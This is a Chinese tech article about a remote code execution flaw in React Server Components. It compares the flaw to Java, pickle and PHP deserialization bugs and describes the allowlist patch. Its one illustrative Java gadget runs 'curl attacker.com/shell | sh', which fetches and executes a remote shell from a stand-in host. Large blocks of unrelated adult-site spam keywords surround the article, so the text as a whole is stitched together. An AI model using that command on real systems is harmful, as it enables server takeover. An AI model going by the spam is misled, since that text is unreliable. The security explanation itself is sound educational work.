国产精品电影_久久视频免费_欧美日韩国产激情_成年人视频免费在线播放_日本久久亚洲电影_久久都是精品_66av99_九色精品美女在线_蜜臀a∨国产成人精品_冲田杏梨av在线_欧美精品在线一区二区三区_麻豆mv在线看

React 以慘痛的方式重新吸取了 25 年前 RCE 的一個教訓

開發 前端
隨著?React Server Components(RSC)?和?Next.js App Router?成為主流,React 不再只是前端框架——它成了一個后端運行時:跑在 Node.js 里、讀數據庫、摸環境變量、改服務端狀態。

很長一段時間里,React 在安全圈幾乎算“無害”。

它做的事很單純:渲染 UI、操作 DOM。你要是寫得夠離譜,最多來個 XSS——煩人,但大多數時候還能救。

因為 React 沒有你的數據庫鑰匙、沒有你的文件系統權限、也不該碰你的服務端進程。

但這條“邊界”,悄悄消失了。

隨著 React Server Components(RSC) 和 Next.js App Router 成為主流,React 不再只是前端框架——它成了一個后端運行時:跑在 Node.js 里、讀數據庫、摸環境變量、改服務端狀態。

從那一刻開始,React 繼承了后端軟件的全部爆炸半徑。

然后它轉頭就踩中了安全史上最老的一顆地雷之一:把網絡里來的“可執行行為”,當成可以反序列化的“數據”。

結果?未授權遠程代碼執行(RCE)。一次請求,不用登錄,直接進服務器執行。屬于框架級別最不能出的那種錯。

要搞懂這事為什么會發生,你得先看清楚:React 到底“變了什么”。

當“數據”不再只是數據

經典 React 應用和服務器說話,一直很樸素:

// Browser
fetch("/api/user")
  .then(res => res.json())
  .then(user => setUser(user))

服務器端也很樸素:

app.get("/api/user", (req, res) => {
  res.json({ id: 42, name: "Alice" })
})

瀏覽器發的是惰性數據。 服務器解析的是惰性數據。 線上跑來跑去的只是值。執行永遠留在服務器端。

這條邊界,才是舊時代 React “風險低”的根本原因。

但 React Server Components 把這套模式拆了。

圖片圖片

它不再返回 JSON,而是流式返回一種內部協議(常被稱為 “Flight”),里面攜帶的東西不只是“值”,還包括:

  • 渲染哪些組件
  • 模塊怎么解析
  • 哪些樹節點要在服務端執行
  • 流式過程中如何重建執行圖(execution graph)

換句話說:網絡線上傳輸的,開始像“指令”了。

概念上,服務器從:network → parse JSON → fill struct → return HTML

變成了:network → deserialize instructions → rebuild execution graph → execute

最后那個 “execute”,就是 RCE 出生的產房。

反序列化“指令”為什么致命

反序列化數據,長這樣:

// Go
var u User
json.Unmarshal(bytes, &u)
// Rust
let u: User = serde_json::from_slice(bytes)?;

它們共同點是:

  • 類型(User)由程序決定
  • 網絡只提供字段值
  • 數據不能觸發方法
  • 數據不能要求換一種類型
  • 整體乏味、死板,但非常安全

然后你去看看 Java 曾經干過的“世紀級錯誤”。

Java 早就為這個錯誤買過十幾年單

很多 Java 服務端里,曾經到處是這一行:

Object obj = new ObjectInputStream(socket.getInputStream()).readObject();

這行代碼最可怕的不是它“讀對象”,而是——它沒有目標類型

JVM 處理方式是:

  • 從網絡讀類名
  • 從 classpath 加載該類
  • 實例化
  • 跑反序列化鉤子(deserialization hooks)

等于網絡數據在說:


“請你實例化這個類,并順便執行它的反序列化代碼。”

于是攻擊者開始找“gadget class”,比如這種(示意):

class Exploit {
    private void readObject(ObjectInputStream in) {
        Runtime.getRuntime().exec("curl attacker.com/shell | sh");
    }
}

只要依賴樹里出現過一個這樣的“可組合鏈條”,readObject() 就可能變成“給我一個 shell”。這類災難級 RCE,撐起了企業安全圈好幾年噩夢。

而 React RSC——在精神上,走回了同一條路。

React 是怎么一步步走進同一個坑的

Flight 的 payload 讓服務器在架構上接近這樣:

const instruction = deserialize(untrustedNetworkBytes)
execute(instruction)

當然實現細節不一定是這段代碼,但數據流就是這個味道。

它不再是:

“這是組件要用的數據”

更像是:

“這是你該怎么重建執行圖的一部分說明書”

當網絡輸入開始影響“執行結構”而不是只影響“字段值”,你就回到了 Java 反序列化那片戰場。

缺一個 allowlist。 少一道校驗邊界。 就夠了。

“反序列化不是在服務端做的嗎?為什么還會出事?”

因為危險的從來不是“反序列化”這個動作,而是:你反序列化成了什么。

這很安全:

JSON.parse('{ "count": 5 }')

這就很危險:

deserializeIntoExecutableInstructions(bytes)

當反序列化結果包含:

  • 函數引用
  • 模塊加載邏輯
  • 可執行樹/執行圖

你就不是在“解碼數據”。 你是在“解碼行為”。

而把行為從網絡里解出來,是攻擊者最喜歡的捷徑。

為什么 Go / Rust 很少撞上這類 RCE

拿 Go 舉例:

type Config struct {
    Port int
}

var cfg Config
json.Unmarshal(input, &cfg)

攻擊者最多影響:

  • cfg.Port

攻擊者不能影響:

  • 實例化哪個 struct
  • 解碼時跑哪個函數
  • 解碼過程中執行什么鉤子

Rust 同理:

#[derive(Deserialize)]
struct Config {
    port: u16,
}
let cfg: Config = serde_json::from_slice(input)?;

關鍵邊界永遠是:類型由程序選,網絡只能填值。

而 Java 原生序列化、以及 React RSC 的漏洞路徑,都是跨過了這條線:讓網絡“碰到了執行結構”。

React 為什么會犯這種錯

圖片圖片

原因很現實,也很熟悉:

  1. 把 Flight 當成“私有協議”他們默認“只有可信的 React 客戶端才會說這種協議”。可一旦它暴露在 HTTP 上,攻擊者只關心一點:我能不能給它喂字節。
  2. 為開發體驗猛踩油門為了流式渲染、緩存、自動 revalidate、server actions、寫一次到處跑,他們做了強耦合的執行管線。跨層魔法越多,驗證邊界越容易漏。
  3. React 現在管的層太多了UI、后端執行、傳輸、序列化、緩存、路由……當一個抽象掌握這么大表面積,驗證失誤就不再是“局部 bug”,而是生態事故。
  4. Next.js 把它做成默認海量應用在沒有“明確意識到自己暴露了 React 專用執行協議”的情況下,把這套模型推到了公網。([Vercel][2])

一個 bug,全網共振。

補丁到底改了什么

補丁前,模型幾乎等于:

deserialize → execute

補丁后,變成:

deserialize → validate (strict allowlist) → execute

不再允許動態模塊解析。

不再允許任意指令圖。

不再允許“行為從線上直達執行”。

這本質上就是:React 被迫補上了 Java 用十幾年痛苦換來的那套防線。

真正的教訓

這事和 JavaScript 本身沒關系。 也和 React 語法沒關系。

它就是那句所有系統工程師遲早都要背會的老話:

不可信字節,永遠不該決定執行。

Java 在 2000s 學過一次。

PHP 在 unserialize 上學過一次。

Python 在 pickle 上學過一次。

React 在 2025,又學了一次。

時代不同,地雷同款。

圖片圖片

最近

React 不是因為“前端框架”而被燒傷的。 它是因為自己悄悄變成了后端運行時,卻忘了把后端該有的安全紀律一起搬過來。

歷史對這種故事的結局,向來非常一致。

責任編輯:武曉燕 來源: 大遷世界
相關推薦

2012-08-27 10:06:28

設計網站設計

2023-06-07 00:04:56

2025-02-11 10:17:19

DeepSeek大模型人工智能

2022-05-07 18:17:35

Notion分片

2020-02-12 10:23:54

云遷移云計算

2024-08-28 14:55:41

2011-04-26 09:26:53

亞馬遜云服務

2018-02-10 09:02:27

DevOps持續交付模型

2019-03-10 09:11:04

物聯網物流行業IOT

2024-12-03 12:19:46

2021-05-28 10:45:32

美國銀行數字化5G

2020-05-12 10:04:31

企業經驗和教訓CIO

2021-04-06 10:34:47

IT領導冠狀病毒疫情首席信息官

2013-01-07 09:22:02

DLP數據丟失防護

2022-10-08 15:52:37

元宇宙云計算安全

2010-10-18 11:39:41

程序員

2009-02-12 15:07:57

程序員創業經驗

2022-09-30 14:44:07

云計算元宇宙云遷移

2013-02-20 08:39:31

云計算企業應用云服務

2024-08-08 19:09:51

點贊
收藏

51CTO技術棧公眾號

久久国产婷婷国产香蕉| 欧美色欧美亚洲高清在线视频| 国产在线观看91精品一区| 精品网站在线| 欧美一卡二卡在线| 国产视频精选在线| 91搞黄在线观看| 国模吧精品人体gogo| 亚洲成人午夜影院| 嫩模私拍啪啪| 日韩毛片在线免费观看| 男人的天堂日韩| 久久免费看少妇高潮| 成人观看免费完整观看| 久久综合中文字幕| 欧美一级特黄a| 国产欧美精品区一区二区三区 | 日韩精品综合在线| 久久9热精品视频| 一区二区三区四区五区精品| 狂野欧美性猛交xxxx巴西| 久久99精品久久久久久水蜜桃| 欧美精品综合| 999国产在线| 亚洲激情黄色| 午夜精品美女久久久久av福利| 日日欢夜夜爽一区| 三级在线免费观看| 久久久精品天堂| 羞羞网www| 欧美熟乱第一页| aa级大片免费在线观看| 亚洲精品一区av在线播放| 亚洲最新无码中文字幕久久| 在线观看国产精品淫| 99久久香蕉| 91精品国产自产在线| 亚洲国产婷婷| 欧美人与动牲交xxxxbbbb| 久久亚洲精品小早川怜子| 黄色无遮挡网站| 欧美在线看片a免费观看| 美足av综合网| 久久97精品久久久久久久不卡| 精品国产99| 欧美lavv| 久久久国产精品不卡| 制服丝袜中文字幕在线观看| 欧美剧在线免费观看网站| 久草在线中文最新视频| 欧美国产在线视频| 四虎成人av| 秋霞在线观看一区二区三区| 成人晚上爱看视频| 成人午夜天堂| 在线电影一区二区三区| 欧美三区四区| 国产又爽又黄的激情精品视频| 久久亚洲一区| 中文字幕第38页| 精品视频1区2区3区| 日韩精品一区二区三区av| 亚洲97在线观看| 亚洲少妇诱惑| 欧在线一二三四区| 欧美系列在线观看| 国产欧美视频在线| 国内精品久久国产| 久久久久亚洲综合| 黄色网在线免费观看| 久久99久久久久久久噜噜| 最新欧美人z0oozo0| 一二三四中文字幕| 狠狠躁天天躁日日躁欧美| 97成人资源| 成人写真视频福利网| 国内精品国产三级国产a久久| 97超级在线观看免费高清完整版电视剧| 欧美视频二区欧美影视| 国产精品女视频| 99久久99久久久精品齐齐| 日日摸天天爽天天爽视频| 日韩国产一区二| 欧美激情综合色| 国产91高潮流白浆在线麻豆| 国产美女玉足交| 亚洲精品91美女久久久久久久| 欧美影院精品| 日韩三级在线播放| 亚洲国产精品影院| 精品福利在线| 免费观看成人高| 亚洲一区二区高清| 日日夜夜亚洲| 麻豆传媒一区二区| 亚洲免费av观看| 黄色精品视频网站| 另类小说综合网| 午夜影视日本亚洲欧洲精品| 久久伊人国产| 日韩欧美精品在线不卡| 欧美特级www| 91综合久久爱com| 欧美 日韩 国产精品| 91麻豆精品国产综合久久久久久| 国产一区二区三区91| 日韩av资源在线| 亚洲激情第一页| 国产精品日韩久久久| 日本一本草久在线中文| 国产mv久久久| 中文av一区特黄| 国产精品欧美一区二区三区不卡 | crdy在线观看欧美| 亚洲午夜精品国产| 日韩一区二区三区免费观看| 精品69视频一区二区三区Q| 香蕉视频在线免费| 国产精品999| 国产精品福利在线播放| 日韩精品在线播放| 99久久综合狠狠综合久久aⅴ| 日本黄色片一级片| 亚洲伊人伊色伊影伊综合网 | 欧美日韩国产欧美日美国产精品| 欧美军人男男激情gay| 四虎最新地址发布| 久久在线视频免费观看| 手机在线成人免费视频| 欧美富婆性猛交| 国产日韩综合av| 亚洲午夜精品| 97视频在线| 日本久久久久久| 一区二区三区免费在线观看| 九九综合九九| jizzjizz亚洲中国少妇| 国产精品精品一区二区三区午夜版 | 57pao成人国产永久免费| 国产女人18水真多18精品一级做 | 成人免费观看在线网址| 久久久久久午夜| 亚洲色图欧洲色图婷婷| 欧美一级精品片在线看| 久久精品蜜桃| 日本福利一区二区三区| 亚洲网站在线观看| 国产日韩欧美激情| 影视先锋久久| 国产污视频在线| 欧洲一区二区在线观看| 日韩高清中文字幕| 国产成人精品1024| 国产精品毛片视频| 五丁香在线视频| 日本欧美色综合网站免费| 亚洲精品一区二区三区香蕉| 成人精品视频.| 你懂的一区二区三区| 国产私人尤物无码不卡| 欧洲精品国产| www.99久久热国产日韩欧美.com | 久久99中文字幕| 91国产美女在线观看| 欧美午夜女人视频在线| 久久精品91| 99精品美女视频在线观看热舞| 美女激情网站| 日韩成人在线资源| 欧美激情女人20p| 在线免费亚洲电影| 粉嫩嫩av羞羞动漫久久久| 欧美日韩看看2015永久免费| www.中文字幕久久久| www.好吊操| 国产日韩欧美自拍| 日韩精品视频在线观看免费| 亚洲国产高清aⅴ视频| 亚洲午夜伦理| 91精品一区| 色综合久久久久综合一本到桃花网| av无码久久久久久不卡网站| 国产精品一区二区3区| 日韩精品日韩在线观看| 一区二区在线免费| 日日欢夜夜爽一区| 日本午夜精品| 精品捆绑调教一区二区三区| 黄色毛片av| 91大学生片黄在线观看| 91欧美日韩一区| 欧美视频网址| 亚洲精品永久免费视频| 中文字幕校园春色| 欧美黑人在线观看| 国产福利不卡| 2025国产精品视频| 精品一区二区三区四区在线| 午夜精品123| 久久精品人人做人人爽人人|